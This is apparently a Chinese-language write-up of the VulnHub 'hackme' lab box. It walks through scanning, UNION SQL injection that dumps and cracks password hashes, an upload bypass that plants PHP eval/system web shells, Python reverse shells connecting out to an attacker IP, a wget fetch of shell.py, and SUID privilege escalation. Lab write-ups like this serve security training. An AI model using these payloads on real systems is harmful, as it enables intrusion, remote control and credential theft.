发布于2022年10月15日3年前 0x01靶机描述 靶机基本信息: 链接 https://www.vulnhub.com/entry/hackme-1,330/ 发布时间 18 Jul 2019 作者 x4bx54 难度 简单 靶机基本介绍: “hackme”是一个初学者难度等级框。目标是通过web漏洞获得有限的权限访问,然后权限升级为root。这个实验室是为了模拟现实生活环境而创建的。 “hackme”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。 与VMware相比,VirtualBox的效果更好 0x02环境搭建 下载并导入靶机 打开vmware-文件-打开-DC-8.ova 查看网络适配器 将靶机网络适配器改为NAT模式 启动靶机 点击 ▶靶机,开启成功 0x03靶机渗透 一、 信息收集 主机发现 arpscan -l 端口扫描 masscan --rate=100000 -p 0-65535 192.168.30.207 详细扫描 nmap -T4 -sV -O -p 22,80 192.168.30.207 目录扫描 (1) dirb目录扫描 dirb http://192.168.30.207 /usr/share/dirb/wordlists/big.txt (2)gobuster目录扫描 gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30 网站指纹识别 whatweb http://192.168.30.207 二、 漏洞挖掘 SQL注入 登录主页发现登录页面,而且还可以注册用户 注册用户admin 密码123456 登录admin用户 单击search可以进行查看到很多的书名 验证sql注入 Windows OS' and 1=1# Windows OS' and 1=2# 由以上验证出此处存在字符型(单引号)sql注入 判断字段数 Windows OS' order by 3# Windows OS' order by 4# 可以看出这里字段数为3 判断显示位置 -1' union select 1,2,3# 查看当前数据库 -1' union select database(),2,3# 查看webapphacking库所有的表 -1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'# 查看users表中所有的列 -1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'# 10.查看表中user,password -1' union select group_concat(user),group_concat(pasword),3 from users# 将得到密码进行MD5解密 user1 5d41402abc4b2a76b9719d911017c592 hello user2 6269c4f71a55b24bad0f0267d9be5508 commando user3 0f359740bd1cda994f8b55330c86d845 p@ssw0rd test 05a671c66aefea124cc08b76ea6d30bb testtest superadmin 2386acb2cf356944177746fc92523983 Uncrackable test1 05a671c66aefea124cc08b76ea6d30bb testtest admin e10adc3949ba59abbe56e057f20f883e 123456 123456 e10adc3949ba59abbe56e057f20f883e 123456 这里只截了三张图,其他的解密也一样,后面两个用户(admin,123456)是我自己刚刚在网页注册的 文件上传漏洞 使用superadmin用户登录 发现文件上传点 上传phpinfo()进行验证 制作假图片头 GIF89a<?php phpinfo(); ?> 上传前先开启burp抓包 拦截-修改后缀-send,我们可以从回包中看出文件已将上传至文件夹 信息收集时,目录扫描出的路径 http://192.168.30.207/uploads/ 访问路径 http://192.168.30.207/uploads/phpinfo.php 该上传点存在文件上传漏洞,并且假图片头与图片马均可以 三、 漏洞利用 反弹shell方法一:一句话木马,蚁剑连接 制作图片马 <?php @eval($_POST[shell]); ?> copy a.jpg/b + tu.php/a b.jpg 同上面上传phpinfo.jpg一样,上传图片马 抓包–修改后缀–发送,可以看出上传成功 访问上传的图片马 http://192.168.30.207/uploads/b.php 蚁剑连接成功 5. 上传反弹shell脚本 将反弹shell放在网站根目录下,开启http服务 import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.30.182",1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"]) service apache2 start 在蚁剑终端上下载 wget http://192.168.30.182/shell.py kali监听1234端口 运行 反弹shell成功 反弹shell方法二:system命令执行 制作图片马 <?php @system($_GET([cmd]);?> 合成图片马(与方法一合成方法相同) copy a.jpg/b + sysexec.php/a sysexec3.jpg 同上面上传phpinfo.jpg一样,上传图片马 抓包–修改后缀–发送,可以看出上传成功 kali开启监听7777端口 nc -vnlp 7777 在浏览器借助hackbar进行访问上传上去的反弹shell脚本 http://192.168.30.207/uploads/stsexec3.php?cmd=python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.30.182",7777)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"])' 5. 反弹shell成功 四、 提权 识别所存在的用户 cat /etc/passwd | grep /bin/bash 在/home/legacy路径下发现二进制文件touchmenot,执行二进制文件 ./touchmenot 提权成功 0x04实验总结 这个靶机考察了目录搜集,sql注入,文件上传漏洞,反弹shell等内容,在渗透的过程中需要灵活应对每一个环节,靶机难度比较简单
创建帐户或登录后发表意见